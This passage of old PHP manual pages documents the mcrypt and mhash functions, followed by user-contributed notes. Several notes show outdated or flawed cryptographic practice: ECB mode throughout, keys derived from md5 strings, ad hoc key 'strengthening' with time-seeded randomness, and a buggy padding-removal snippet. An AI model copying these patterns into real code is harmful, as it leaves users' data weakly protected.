This function returns TRUE if the mode outputs blocks of bytes or FALSE if it outputs just bytes. (e.g. TRUE for cbc and ecb, and FALSE for cfb and stream).

Parameters

mode

The mode to check.

lib_dir

The optional lib_dir parameter can contain the location where the algorithm module is on the system.

Return Values

This function returns TRUE if the mode outputs blocks of bytes or FALSE if it outputs just bytes. (e.g. TRUE for cbc and ecb, and FALSE for cfb and stream).

User Contributed Notes

There are no user contributed notes for this page.
mcrypt_module_is_block_algorithm
mcrypt_module_open
Mcrypt Functions


Opens the module of the algorithm and the mode to be used

mcrypt_module_is_block_mode
mcrypt_module_self_test
Mcrypt Functions
PHP Manual

mcrypt_module_open

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_module_open — Opens the module of the algorithm and the mode to be used

Description

resource mcrypt_module_open ( string $algorithm , string $algorithm_directory , string $mode , string $mode_directory )

This function opens the module of the algorithm and the mode to be used. The name of the algorithm is specified in algorithm, e.g. "twofish" or is one of the MCRYPT_ciphername constants. The module is closed by calling mcrypt_module_close().

Parameters

algorithm

The algorithm to be used.

algorithm_directory

The algorithm_directory parameter is used to locate the encryption module. When you supply a directory name, it is used. When you set it to an empty string (""), the value set by the mcrypt.algorithms_dir php.ini directive is used. When it is not set, the default directory that is used is the one that was compiled into libmcrypt (usually /usr/local/lib/libmcrypt).

mode

The mode to be used.

mode_directory

The mode_directory parameter is used to locate the encryption module. When you supply a directory name, it is used. When you set it to an empty string (""), the value set by the mcrypt.modes_dir php.ini directive is used. When it is not set, the default directory that is used is the one that was compiled-in into libmcrypt (usually /usr/local/lib/libmcrypt).

Return Values

Normally it returns an encryption descriptor, or FALSE on error.

Examples

Example #1 mcrypt_module_open() Examples

<?php
    $td = mcrypt_module_open(MCRYPT_DES, '',
        MCRYPT_MODE_ECB, '/usr/lib/mcrypt-modes');

    $td = mcrypt_module_open('rijndael-256', '', 'ofb', '');
?>

The first line in the example above will try to open the DES cipher from the default directory and the EBC mode from the directory /usr/lib/mcrypt-modes. The second example uses strings as name for the cipher and mode, this only works when the extension is linked against libmcrypt 2.4.x or 2.5.x.

Example #2 Using mcrypt_module_open() in encryption

<?php
    /* Open the cipher */
    $td = mcrypt_module_open('rijndael-256', '', 'ofb', '');

    /* Create the IV and determine the keysize length, use MCRYPT_RAND
     * on Windows instead */
    $iv = mcrypt_create_iv(mcrypt_enc_get_iv_size($td), MCRYPT_DEV_RANDOM);
    $ks = mcrypt_enc_get_key_size($td);

    /* Create key */
    $key = substr(md5('very secret key'), 0, $ks);

    /* Intialize encryption */
    mcrypt_generic_init($td, $key, $iv);

    /* Encrypt data */
    $encrypted = mcrypt_generic($td, 'This is very important data');

    /* Terminate encryption handler */
    mcrypt_generic_deinit($td);

    /* Initialize encryption module for decryption */
    mcrypt_generic_init($td, $key, $iv);

    /* Decrypt encrypted string */
    $decrypted = mdecrypt_generic($td, $encrypted);

    /* Terminate decryption handle and close module */
    mcrypt_generic_deinit($td);
    mcrypt_module_close($td);

    /* Show string */
    echo trim($decrypted) . "\n";
?>

See Also

  • mcrypt_module_close() - Closes the mcrypt module
  • mcrypt_generic() - This function encrypts data
  • mdecrypt_generic() - Decrypts data
  • mcrypt_generic_init() - This function initializes all buffers needed for encryption
  • mcrypt_generic_deinit() - This function deinitializes an encryption module

User Contributed Notes

lehmann*at*arcor-so.net 20-Jul-2009 08:10
Keep in mind that the mcrypt functions do not implement padding like e.g. pkcs#5. This causes the problem with zero bytes at the end and the sting cannot be correctly decoded in other environments.

For an example how to add pkcs 5 padding, see ref.mcrypt.php
royconejo 29-Mar-2009 09:01
about the previous comments on hex formatting and capitalization as a way to improve the key:

this would seem pretty obvious, but it is a choice to be limited to only hex characters ([0-9a-z]); you can get the original RAW output from md5() or sha1() and not the default readable hex formatting.

the result of a raw output will be 16 o 20 (depending on the hash function being used) series of chars in the range 0-255. way better than [0-9a-z] and even [0-9a-zA-Z].

16 or 20 is generally lower than the maximum key lenght ($ks in the example), but you can append two or more keys together:

<?php
$human_key1 = 'something very secret';
$human_key2 = 'something else very secret';

// 40 bytes binary key using two "human readable" keys and sha1.
$bigger_binary_key = sha1($human_key1, true) . sha1($human_key2, true);

// then just use it as you would (extract taken from the example)
$key = substr($bigger_binary_key, 0, $ks);
?>

... or you can automatically split one large "human key" into two or more parts, hash those parts with sha1 (raw output!) and merge them together again (in original order or rearrange, salt, transform them as you like) to get a binary key of 40, 60, 80 or more chars depending on the number of parts the secret key has been splitted =)
ash 17-Jul-2008 03:07
A slight improvement of dinamic's function to create a key:

I think the weak point is that capitals are always used in the same part of the string. The following code capitalizes random characters of the string, making the key less predictable:

<?php
$key = substr($key1, 0, $ks/2) . substr($key2, (round(strlen($key2) / 2)), $ks/2);
$key = substr($key.$key1.$key2.$key1,0,$ks);

$buffer = str_split($key);

$limit = count($buffer)-1;
srand((float)microtime() * 1000000);

$end = rand(0, $limit);
$a = 0;

// replace random chars with capitals
while ($a < $end) {
    list($usec, $sec) = explode(' ', microtime());
        $seed = ((float)$sec) + ((float) $usec * 100000);
    mt_srand($seed);

    $index = mt_rand(0,$limit);

    $buffer[$index] = strtoupper($buffer[$index]);
    $a++;
}

$key = join('', $buffer);
?>
dinamic at gmail dot com 13-Nov-2007 03:05
Also it should be pointed that md5() and/or sha1() should not be used while forming your key for the mcrypt. This is so because hex encoding uses a set of only 16 characters [0-9a-f], which is equivalent to 4 bits, and thus halve the strength of your encryption: 4 x 32 = 128-bit.

I have re-wrote the example shown, so here is my suggestion to get real 256-bit encryption:

<?php
$key1 = "this is a secret key";
$key2 = "this is the second secret key";
$input = "Let us meet at 9 o'clock at the secret place.";
$length = strlen($input);

    /* Open the cipher */
    $td = mcrypt_module_open('rijndael-256', '', 'cbc', '');

    /* Create the IV and determine the keysize length, use MCRYPT_RAND
     * on Windows instead */
    $iv = mcrypt_create_iv(mcrypt_enc_get_iv_size($td), MCRYPT_RAND);
    $ks = mcrypt_enc_get_key_size($td);

    /* Create key */
    $key1 = md5($key1);
    $key2 = md5($key2);

    $key = substr($key1, 0, $ks/2) . substr(strtoupper($key2), (round(strlen($key2) / 2)), $ks/2);

    $key = substr($key.$key1.$key2.strtoupper($key1),0,$ks);

    /* Intialize encryption */
    mcrypt_generic_init($td, $key, $iv);

    /* Encrypt data */
    $encrypted = mcrypt_generic($td, $input);

    /* Terminate encryption handler */
    mcrypt_generic_deinit($td);

    /* Initialize encryption module for decryption */
    mcrypt_generic_init($td, $key, $iv);

    /* Decrypt encrypted string */
    $decrypted = mdecrypt_generic($td, $encrypted);

    /* Terminate decryption handle and close module */
    mcrypt_generic_deinit($td);
    mcrypt_module_close($td);

    /* Show string */
    echo "Text: ".substr($decrypted,0,$length) . "<br>";
    echo "Encoded: ".$encrypted ."<br>";
    echo "<br>key1: $key1 <br>key2: $key2<br>created key: $key";
?>
Mon 02-Mar-2006 03:27
In the text example:

$key = substr(md5('very secret key'), 0, $ks);

Builds a key of $ks/2 effective bytes.
31-Jul-2003 08:14
Doing a trim($decrypted) will remove the null padding that may occur as a result of decryption.

The problem is if you're encrypting something like a MSWord document which can commonly end with nulls. The result $decrypted will be smaller than the original cleartext - which will then fail to open in MSOffice.

To get around this, make sure you store the length of the original cleartext, and when you decrypt it, do:

$decrypted = substr(mdecrypt_generic($td, $encrypted), 0, $originalLength);
mcrypt_module_is_block_mode
mcrypt_module_self_test
Mcrypt Functions


This function runs a self test on the specified module

mcrypt_module_open
mcrypt_ofb
Mcrypt Functions
PHP Manual

mcrypt_module_self_test

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_module_self_test — This function runs a self test on the specified module

Description

bool mcrypt_module_self_test ( string $algorithm [, string $lib_dir ] )

This function runs the self test on the algorithm specified.

Parameters

algorithm

The algorithm to test.

lib_dir

The optional lib_dir parameter can contain the location where the algorithm module is on the system.

Return Values

The function returns TRUE if the self test succeeds, or FALSE when it fails.

Examples

Example #1 mcrypt_module_self_test() example

<?php
var_dump(mcrypt_module_self_test(MCRYPT_RIJNDAEL_128)) . "\n";
var_dump(mcrypt_module_self_test(MCRYPT_BOGUS_CYPHER));
?>

The above example will output:

bool(true)
bool(false)

User Contributed Notes

There are no user contributed notes for this page.
mcrypt_module_open
mcrypt_ofb
Mcrypt Functions


Encrypts/decrypts data in OFB mode

mcrypt_module_self_test
mdecrypt_generic
Mcrypt Functions
PHP Manual

mcrypt_ofb

(PHP 4, PHP 5)

mcrypt_ofb — Encrypts/decrypts data in OFB mode

Description

string mcrypt_ofb ( int $cipher , string $key , string $data , int $mode , string $iv )
string mcrypt_ofb ( string $cipher , string $key , string $data , int $mode [, string $iv ] )

The first prototype is when linked against libmcrypt 2.2.x, the second when linked against libmcrypt 2.4.x or higher. The mode should be either MCRYPT_ENCRYPT or MCRYPT_DECRYPT.

This function should not be used anymore, see mcrypt_generic() and mdecrypt_generic() for replacements.

User Contributed Notes

There are no user contributed notes for this page.
mcrypt_module_self_test
mdecrypt_generic
Mcrypt Functions


Decrypts data

mcrypt_ofb
Mhash
Mcrypt Functions
PHP Manual

mdecrypt_generic

(PHP 4 >= 4.0.2, PHP 5)

mdecrypt_generic — Decrypts data

Description

string mdecrypt_generic ( resource $td , string $data )

This function decrypts data. Note that the length of the returned string can in fact be longer than the unencrypted string, due to the padding of the data.

Parameters

td

An encryption descriptor returned by mcrypt_module_open()

data

Encrypted data.

Examples

Example #1 mdecrypt_generic() Example

<?php
    /* Data */
    $key = 'this is a very long key, even too long for the cipher';
    $plain_text = 'very important data';

    /* Open module, and create IV */
    $td = mcrypt_module_open('des', '', 'ecb', '');
    $key = substr($key, 0, mcrypt_enc_get_key_size($td));
    $iv_size = mcrypt_enc_get_iv_size($td);
    $iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);

    /* Initialize encryption handle */
    if (mcrypt_generic_init($td, $key, $iv) != -1) {

        /* Encrypt data */
        $c_t = mcrypt_generic($td, $plain_text);
        mcrypt_generic_deinit($td);

        /* Reinitialize buffers for decryption */
        mcrypt_generic_init($td, $key, $iv);
        $p_t = mdecrypt_generic($td, $c_t);

        /* Clean up */
        mcrypt_generic_deinit($td);
        mcrypt_module_close($td);
    }

    if (strncmp($p_t, $plain_text, strlen($plain_text)) == 0) {
        echo "ok\n";
    } else {
        echo "error\n";
    }
?>

The example above shows how to check if the data before the encryption is the same as the data after the decryption. It is very important to reinitialize the encryption buffer with mcrypt_generic_init() before you try to decrypt the data.

The decryption handle should always be initialized with mcrypt_generic_init() with a key and an IV before calling this function. Where the encryption is done, you should free the encryption buffers by calling mcrypt_generic_deinit(). See mcrypt_module_open() for an example.

See Also

  • mcrypt_generic() - This function encrypts data
  • mcrypt_generic_init() - This function initializes all buffers needed for encryption
  • mcrypt_generic_deinit() - This function deinitializes an encryption module

User Contributed Notes

trashmail dot hashishin at gmail dot com 01-Jun-2010 12:46
Whenever you need to decrypt files encrypted with dot.net (and others?) you can use the following settings:

Encryption: 'rijndael-256'
Mode: 'cbc'
Padding-Mode: Zeros
iv: "yes"

encode the data with base64 to send them to your php script
Anonymous 21-Mar-2009 07:31
Here's a quick snippet for removing PKCS7 padding:

<?php
function unpadPKCS7($data, $blockSize) {
    $length = strlen ( $data );
    if ($length > 0) {
        $first = substr ( $data, - 1 );

        if (ord ( $first ) <= $blockSize) {
            for($i = $length - 2; $i > 0; $i --)
                if (ord ( $data [$i] != $first ))
                    break;

            return substr ( $data, 0, $i );
        }
    }
    return $data;
}
?>
nytro_rst at yahoo dot com 09-Feb-2009 03:33
<?php
// Parameters:
// $text = The text that you want to encrypt.
// $key = The key you're using to encrypt.
// $alg = The algorithm.
// $crypt = 1 if you want to crypt, or 0 if you want to decrypt.

function cryptare($text, $key, $alg, $crypt)
{
    $encrypted_data="";
    switch($alg)
    {
        case "3des":
            $td = mcrypt_module_open('tripledes', '', 'ecb', '');
            break;
        case "cast-128":
            $td = mcrypt_module_open('cast-128', '', 'ecb', '');
            break;
        case "gost":
            $td = mcrypt_module_open('gost', '', 'ecb', '');
            break;
        case "rijndael-128":
            $td = mcrypt_module_open('rijndael-128', '', 'ecb', '');
            break;
        case "twofish":
            $td = mcrypt_module_open('twofish', '', 'ecb', '');
            break;
        case "arcfour":
            $td = mcrypt_module_open('arcfour', '', 'ecb', '');
            break;
        case "cast-256":
            $td = mcrypt_module_open('cast-256', '', 'ecb', '');
            break;
        case "loki97":
            $td = mcrypt_module_open('loki97', '', 'ecb', '');
            break;
        case "rijndael-192":
            $td = mcrypt_module_open('rijndael-192', '', 'ecb', '');
            break;
        case "saferplus":
            $td = mcrypt_module_open('saferplus', '', 'ecb', '');
            break;
        case "wake":
            $td = mcrypt_module_open('wake', '', 'ecb', '');
            break;
        case "blowfish-compat":
            $td = mcrypt_module_open('blowfish-compat', '', 'ecb', '');
            break;
        case "des":
            $td = mcrypt_module_open('des', '', 'ecb', '');
            break;
        case "rijndael-256":
            $td = mcrypt_module_open('rijndael-256', '', 'ecb', '');
            break;
        case "xtea":
            $td = mcrypt_module_open('xtea', '', 'ecb', '');
            break;
        case "enigma":
            $td = mcrypt_module_open('enigma', '', 'ecb', '');
            break;
        case "rc2":
            $td = mcrypt_module_open('rc2', '', 'ecb', '');
            break;
        default:
            $td = mcrypt_module_open('blowfish', '', 'ecb', '');
            break;
    }

    $iv = mcrypt_create_iv(mcrypt_enc_get_iv_size($td), MCRYPT_RAND);
    $key = substr($key, 0, mcrypt_enc_get_key_size($td));
    mcrypt_generic_init($td, $key, $iv);

    if($crypt)
    {
        $encrypted_data = mcrypt_generic($td, $text);
    }
    else
    {
        $encrypted_data = mdecrypt_generic($td, $text);
    }

    mcrypt_generic_deinit($td);
    mcrypt_module_close($td);

    return $encrypted_data;
}
?>
Silvan 17-Aug-2007 12:34
It is generally not recommended to just use rtrim to remove the padding.

Use rtrim($str, "\0") for strings that do not end in "\0" or store the data length during encryption.
(Although data containing "\0" sometimes gets corrupted during encryption so these types of data actually should be packed.)

For example:

<?php

function encrypt($original_data)
{
    $length = strlen($original_data);
    $data_to_encrypt = $length.'|'.$original_data;
    // Encrypt the data including its length.
    // Do not save the length unencrypted, as this could be a (minor) security risk
}

function decrypt($cypher)
{
    // Decrypt the cypher data first
    // Next retrieve the original data
    list($length, $padded_data) = explode('|', $decrypted_data, 2);
    $original_data = substr($padded_data, 0, $length);
}

?>
php at pcwize dot com 12-Oct-2006 02:59
Just confirming the .DLL issues. With 4.3.4 you need the older .DLL. I'm guessing any version of PHP4 needs the older .DLL. With PHP5 you need the newer one.
drew at expressdynamics dot com 05-Jul-2005 10:07
On Win32 systems with PHP 5, you must use the newer libmcrypt.dll file, otherwise mdecrypt_generic will not work.
robbie [at] averill [dot] co [dot] nz 24-Mar-2005 03:15
I have noticed that sometimes when the binary ciphertext is longer than the plaintext, the decrypted plaintext can have some little boxes/squares next to it as 'padding'. I also noticed that you can't cut and paste them to be able to edit them out, but i did find a solution.

Just call rtrim() around the string and it removes them.
jon@jonroig dot com 07-Apr-2004 07:29
Here's a bit of encrypt/decrypt code.

If you're using this on the win32 platform, BEWARE! The latest DLL (19-Jan-2004) contains a bug that keeps mdecrypt_generic from functioning. Nearly drove me over the edge... The 30-Dec-2002 version seems to work with no trouble.
<?

$key = "this is a secret key";
$input = "Let us meet at 9 o'clock at the secret place.";

$td = mcrypt_module_open('tripledes', '', 'ecb', '');
$iv = mcrypt_create_iv (mcrypt_enc_get_iv_size($td), MCRYPT_RAND);
mcrypt_generic_init($td, $key, $iv);
$encrypted_data = mcrypt_generic($td, $input);
mcrypt_generic_deinit($td);
mcrypt_module_close($td);

echo "Encrypt: ".$encrypted_data;

echo "<br><br>";

$td = mcrypt_module_open('tripledes', '', 'ecb', '');
$iv = mcrypt_create_iv (mcrypt_enc_get_iv_size($td), MCRYPT_RAND);
$key = substr($key, 0, mcrypt_enc_get_key_size($td));
mcrypt_generic_init($td, $key, $iv);
$decrypted_data = mdecrypt_generic($td, $encrypted_data);
echo "Decrypt: ".$decrypted_data;
mcrypt_generic_deinit($td);
mcrypt_module_close($td);

?>
mcrypt_ofb
Mhash
Mcrypt Functions


Mhash

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
  • Mhash Functions
    • mhash_count — Gets the highest available hash ID
    • mhash_get_block_size — Gets the block size of the specified hash
    • mhash_get_hash_name — Gets the name of the specified hash
    • mhash_keygen_s2k — Generates a key
    • mhash — Computes hash

User Contributed Notes

Typo 10-Jun-2011 04:44
Note:

This extension is obsoleted by Hash.

I thought I would post this here as it took me a few minutes to find out.
mdecrypt_generic
Introduction
Cryptography Extensions


Introduction

These functions are intended to work with » mhash. Mhash can be used to create checksums, message digests, message authentication codes, and more.

This is an interface to the mhash library. Mhash supports a wide variety of hash algorithms such as MD5, SHA1, GOST, and many others. For a complete list of supported hashes, refer to the constants page. The general rule is that you can access the hash algorithm from PHP with MHASH_hashname. For example, to access TIGER you use the PHP constant MHASH_TIGER.

Note:

This extension is obsoleted by Hash.

User Contributed Notes

apache at webrz dot net 23-Sep-2009 04:37
apache-1.3.41_1 and php5-5.2.11 and php5-hash-5.2.11

*** There is an issue using mhash.so ***

On certain Apache installs, Apache refuses to start when mhash is activated thru the php extension setup (make config).

Jos Chrispijn
Mhash
Installing/Configuring
Mhash


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Mhash


Requirements

To use it, download the mhash distribution from » its web site and follow the included installation instructions.

User Contributed Notes

BreizoReva 19-Aug-2009 01:00
With the Windows installer, you just need to select the mhash package when you go through the configuration.
Installing/Configuring
Installation
Installing/Configuring


Installation

You need to compile PHP with the --with-mhash[=DIR] parameter to enable this extension. DIR is the mhash installation directory.

As of PHP 5.3.0, the mhash extension is emulated thru the Hash extension. This makes the mhash installation directory have no effect, and requires the hash extension enabled to make the mhash support available.

User Contributed Notes

Anonymous 11-Aug-2008 03:39
DIR is not the installation directory, it is the directory that contains the compiled source files (ie. /usr/src/mhash...).
Requirements
Runtime Configuration
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

Here is a list of hashes which are currently supported by mhash. If a hash is not listed here, but it is listed in the mhash documentation as supported, you can safely assume that this documentation is outdated.

  • MHASH_ADLER32
  • MHASH_CRC32
  • MHASH_CRC32B
  • MHASH_GOST
  • MHASH_HAVAL128
  • MHASH_HAVAL160
  • MHASH_HAVAL192
  • MHASH_HAVAL224
  • MHASH_HAVAL256
  • MHASH_MD2
  • MHASH_MD4
  • MHASH_MD5
  • MHASH_RIPEMD128
  • MHASH_RIPEMD256
  • MHASH_RIPEMD320
  • MHASH_SHA1
  • MHASH_SHA192
  • MHASH_SHA224
  • MHASH_SHA256
  • MHASH_SHA384
  • MHASH_SHA512
  • MHASH_SNEFRU128
  • MHASH_SNEFRU256
  • MHASH_TIGER
  • MHASH_TIGER128
  • MHASH_TIGER160
  • MHASH_WHIRLPOOL

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Examples
Mhash


Examples

Example #1 Computes the MD5 digest and hmac and print it out as hex

<?php
$input = "what do ya want for nothing?";
$hash = mhash(MHASH_MD5, $input);
echo "The hash is " . bin2hex($hash) . "<br />\n";
$hash = mhash(MHASH_MD5, $input, "Jefe");
echo "The hmac is " . bin2hex($hash) . "<br />\n";
?>

The above example will output:

The hash is d03cb659cbf9192dcd066272249f8412
The hmac is 750c783e6ab0b503eaa86e310a5db738

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
Mhash Functions
Mhash


Mhash Functions

Table of Contents

  • mhash_count — Gets the highest available hash ID
  • mhash_get_block_size — Gets the block size of the specified hash
  • mhash_get_hash_name — Gets the name of the specified hash
  • mhash_keygen_s2k — Generates a key
  • mhash — Computes hash

User Contributed Notes

alexey dot kupershtokh at gmail dot com 27-Dec-2007 04:48
There's a class for generating TTH compatible with DC clients (DC++, StrongDC, ...) which uses mhash() with tiger algorithm:
http://kupershtokh.blogspot.com/2007/12/on-phpclub.html
ludicruz at yahoo dot com 07-Jul-2007 01:41
to robert at mediamonks dot com

This will work better, in your function you can just use the constant function to pull in the actual value of MHASH_SHA512 or whatever.

function getHashNotWorking($argStrHashMethod, $argStrString)
{
$strHashMethod = 'MHASH_' . $argStrHashMethod;
$strHashedString = bin2hex(mhash(constant($strHashMethod), $argStrString));

return $strHashedString;
}

now:

echo getHashNotWorking('SHA512', 'some string');

works how you want it.
robert at mediamonks dot com 06-Dec-2006 12:44
function getHashNotWorking($argStrHashMethod, $argStrString)
{
$strHashMethod = 'MHASH_' . $argStrHashMethod;
$strHashedString = bin2hex(mhash($strHashMethod, $argStrString));

return $strHashedString;
}

echo getHashNotWorking('SHA512', 'some string');

This will return an error about the mhash function expecting a long type instead of a string.

=============================

for ($intI = 0; $intI <= mhash_count(); $intI++)
{
$arrHashTypes[mhash_get_hash_name($intI)] = $intI;
}

function getHashWorking($argStrType, $argStrString)
{
global $arrHashTypes;
$strHashedString = bin2hex(mhash($arrHashTypes[$argStrType], $argStrString));

return $strHashedString;
}

echo getHashWorking('SHA512', 'some string');

This will return the hash with the desired hash method
brentdothansenatgmaildotcom 11-Aug-2005 04:43
Since it seems that the tiger hash bug has been labeled "bogus" here is a fix to give a correct result.  I'm not a binary expert so if you come up with a better fix please let us know. Just do your MHASH_TIGER as normal then send the unaltered binary into tigerfix and you get a proper HEX return.

function tigerfix ($binary_hash) {
     $my_split = str_split($binary_hash,8);
     $my_tiger ="";
     foreach($my_split as $key => $value) {
        $my_split[$key] = strrev($value);
        $my_tiger .= $my_split[$key];
     }
    $my_tiger_hex = bin2hex($my_tiger);
    return $my_tiger_hex;
}
m1tk4 at hotmail dot com 21-Jun-2004 10:43
To enable mhash on RHEL/Fedora Core/other RPM-based Linuxes without rebuilding PHP, get the php-mhash and mhash RPMs at http://phprpms.sourceforge.net/mhash
31-Jul-2001 07:13
MHASH_HAVAL256 , MHASH_HAVAL192, etc...
refers to the HAVAL hash with 3 rounds.

To use HAVAL with 4 or 5 rounds, you have to
recompile the mhash library and either add
new hash names, or just change in mhash.c
the definitions of MHASH_HAVAL256,...
Examples
mhash_count
Mhash


Gets the highest available hash ID

Mhash Functions
mhash_get_block_size
Mhash Functions
PHP Manual

mhash_count

(PHP 4, PHP 5)

mhash_count — Gets the highest available hash ID

Description

int mhash_count ( void )

Gets the highest available hash ID.

Return Values

Returns the highest available hash ID. Hashes are numbered from 0 to this hash ID.

Examples

Example #1 Traversing all hashes

<?php

$nr = mhash_count();

for ($i = 0; $i <= $nr; $i++) {
    echo sprintf("The blocksize of %s is %d\n",
        mhash_get_hash_name($i),
        mhash_get_block_size($i));
}
?>

User Contributed Notes

There are no user contributed notes for this page.
Mhash Functions
mhash_get_block_size
Mhash Functions


Gets the block size of the specified hash

mhash_count
mhash_get_hash_name
Mhash Functions
PHP Manual

mhash_get_block_size

(PHP 4, PHP 5)

mhash_get_block_size — Gets the block size of the specified hash

Description

int mhash_get_block_size ( int $hash )

Gets the size of a block of the specified hash.

Parameters

hash

The hash ID. One of the MHASH_hashname constants.

Return Values

Returns the size in bytes or FALSE, if the hash does not exist.

Examples

Example #1 mhash_get_block_size() Example

<?php

echo mhash_get_block_size(MHASH_MD5); // 16

?>

User Contributed Notes

There are no user contributed notes for this page.
mhash_count
mhash_get_hash_name
Mhash Functions


Gets the name of the specified hash

mhash_get_block_size
mhash_keygen_s2k
Mhash Functions
PHP Manual

mhash_get_hash_name

(PHP 4, PHP 5)

mhash_get_hash_name — Gets the name of the specified hash

Description

string mhash_get_hash_name ( int $hash )

Gets the name of the specified hash.

Parameters

hash

The hash ID. One of the MHASH_hashname constants.

Return Values

Returns the name of the hash or FALSE, if the hash does not exist.

Examples

Example #1 mhash_get_hash_name() Example

<?php

echo mhash_get_hash_name(MHASH_MD5); // MD5

?>

User Contributed Notes

There are no user contributed notes for this page.
mhash_get_block_size
mhash_keygen_s2k
Mhash Functions


Generates a key

mhash_get_hash_name
mhash
Mhash Functions
PHP Manual

mhash_keygen_s2k

(PHP 4 >= 4.0.4, PHP 5)

mhash_keygen_s2k — Generates a key

Description

string mhash_keygen_s2k ( int $hash , string $password , string $salt , int $bytes )

Generates a key according to the given hash, using an user provided password.

This is the Salted S2K algorithm as specified in the OpenPGP document (» RFC 2440).

Keep in mind that user supplied passwords are not really suitable to be used as keys in cryptographic algorithms, since users normally choose keys they can write on keyboard. These passwords use only 6 to 7 bits per character (or less). It is highly recommended to use some kind of transformation (like this function) to the user supplied key.

Parameters

hash

The hash ID used to create the key. One of the MHASH_hashname constants.

password

An user supplied password.

salt

Must be different and random enough for every key you generate in order to create different keys. Because salt must be known when you check the keys, it is a good idea to append the key to it. Salt has a fixed length of 8 bytes and will be padded with zeros if you supply less bytes.

bytes

The key length, in bytes.

Return Values

Returns the generated key as a string, or FALSE on error.

User Contributed Notes

gmic 13-Mar-2007 11:42
Correction to ray ferguson post,

As said in the doc : "mhash_keygen_s2k generates a key that is bytes long, from a user given password and use the specified hash algorithm to create the key." if It wasn't clear to anyone.

The non mhash function is good as long you do not need a key longer than native MD5 hash (16 bytes)  it wont give you more.

So the non mhash function work OK but they ARE NOT the same thing.

Just try ray ferguson exemple asking for a 32 bytes key.

Returning a substring longer than the packed 16 bytes string won't add anything to the string. Salted S2K algorithm does add to the key.  So better use mhash lib or create something more alike the RFC 2440 specs.

I know the post is late on regard to Ray's post but if it can help someone not waisting time like me.
php_at_share-foo.com 16-Jul-2003 11:18
// given random 8 bits of salt and a clear text password

$clear_pw = "p4ssw0rd" ;
$rand8bites4salt = substr(pack("h*", md5(mt_rand())) , 0, 8);

// This

mhash_keygen_s2k(MHASH_MD5, $clear_pw, $rand8bites4salt, 4) ;

//is the same as this

function myhash_keyge_s2k($pass, $salt, $bytes ){
      return substr(pack("H*", md5($salt . $pass)), 0, $bytes);
}

myhash_keyge_s2k($clear_pw, $rand8bites4salt, 4);

// But the latter doesn't require mhash libs.

// -ray ferguson
mhash_get_hash_name
mhash
Mhash Functions


Computes hash

mhash_keygen_s2k
OpenSSL
Mhash Functions
PHP Manual

mhash

(PHP 4, PHP 5)

mhash — Computes hash

Description

string mhash ( int $hash , string $data [, string $key ] )

mhash() applies a hash function specified by hash to the data.

Parameters

hash

The hash ID. One of the MHASH_hashname constants.

data

The user input, as a string.

key

If specified, the function will return the resulting HMAC instead. HMAC is keyed hashing for message authentication, or simply a message digest that depends on the specified key. Not all algorithms supported in mhash can be used in HMAC mode.

Return Values

Returns the resulting hash (also called digest) or HMAC as a string, or FALSE on error.

User Contributed Notes

hm2k at php dot net 20-Jan-2009 07:16
mhash support now appears in the Pear PHP_Compat package, for support without building PHP with mhash.
numien(at)deathwyrm(dot)com 31-Jan-2007 05:21
---Quote---
pack("H*", md5($str)) == mhash(MHASH_MD5, $str)
pack("H*", sha1($str)) == mhash(MHASH_SHA1, $str)
---/Quote---

That's an awfully inefficient way of doing things. You can just put ", true" after md5 or sha1 to get binary output instead of having it convert it to hex then back.

Easier way:
md5($str, true) == mhash(MHASH_MD5, $str)
sha1($str, true) == mhash(MHASH_SHA1, $str)
marcel446 at yahoo dot com 06-Jun-2005 04:15
Just in case you did not observe, the function of Lance is independent of hash fuction used to get HMAC , so if one use sha1() function from php instead md5() will get sha1 HMAC.
Just try .
Thanks again Lance
robbie [at] averill [dot] co [dot] nz 18-Mar-2005 05:17
This confused me a bit when I first read the documetation for mhash. The functions that accept a hash accept them as an INTEGER not a STRING. In this case, MHASH_MD5 = 1. It is a constant, not a string.

Just thought I'd point that out, so if anyone is confused they can read that. That's the use of mhash_get_hash_name(). You input the constant (which is an integer) and it returns the hash name.
fernan at ispwest dot com 02-Nov-2004 12:03
Thanks a lot to Lance for showing how to create mhash without installing the perl extension for mhash.

I have been asking my webhosting administrator to recompile Perl with mhash extension, but do not want to do it. As a result, our company can't get credit card authorization because they require fingerprint which uses the function mhash. Now, it's working fine.

Thanks a lot, Lance.....

Fernan
jerry d0t wilborn at fast d0t net 02-Jul-2004 09:36
in responce to lance's post:

the function comes back with a hex representation of the hmac, if you wish to convert to what mhash returns natively (binary) use:  pack("H*", hmac(variables...));
lance_rushing at hot* spamfree *mail dot com 09-Jul-2003 05:02
Don't forget php has two built in hashing algorithms:

md5(), and sha1()

So if you are using: mhash(MHASH_MD5, $str) or mhash(MHASH_SHA1, $str) you could use md5($str) or sha1($str).

** But remember that md5() and sha1() produce HEX output while mhash() produces a BIN output.  So:

md5($str) == bin2hex(mhash(MHASH_MD5, $str))
sha1($str) == bin2hex(mhash(MHASH_SHA1, $str))

AND

pack("H*", md5($str)) == mhash(MHASH_MD5, $str)
pack("H*", sha1($str)) == mhash(MHASH_SHA1, $str)

(Just remember to pack() or bin2hex() your output to get the output you need)

-Lance
lance_rushing at hot* spamfree *mail dot com 27-Nov-2002 08:36
Want to Create a md5 HMAC, but don't have hmash installed?

Use this:

function hmac ($key, $data)
{
    // RFC 2104 HMAC implementation for php.
    // Creates an md5 HMAC.
    // Eliminates the need to install mhash to compute a HMAC
    // Hacked by Lance Rushing

    $b = 64; // byte length for md5
    if (strlen($key) > $b) {
        $key = pack("H*",md5($key));
    }
    $key  = str_pad($key, $b, chr(0x00));
    $ipad = str_pad('', $b, chr(0x36));
    $opad = str_pad('', $b, chr(0x5c));
    $k_ipad = $key ^ $ipad ;
    $k_opad = $key ^ $opad;

    return md5($k_opad  . pack("H*",md5($k_ipad . $data)));
}

-----
To test:
Run this on a server _with_ mhash installed:

$key = 'Jefe';
$data = "what do ya want for nothing?";
echo hmac($key, $data);
echo "&lt;br&gt;\n";
echo bin2hex (mhash(MHASH_MD5, $data, $key));

should produce:

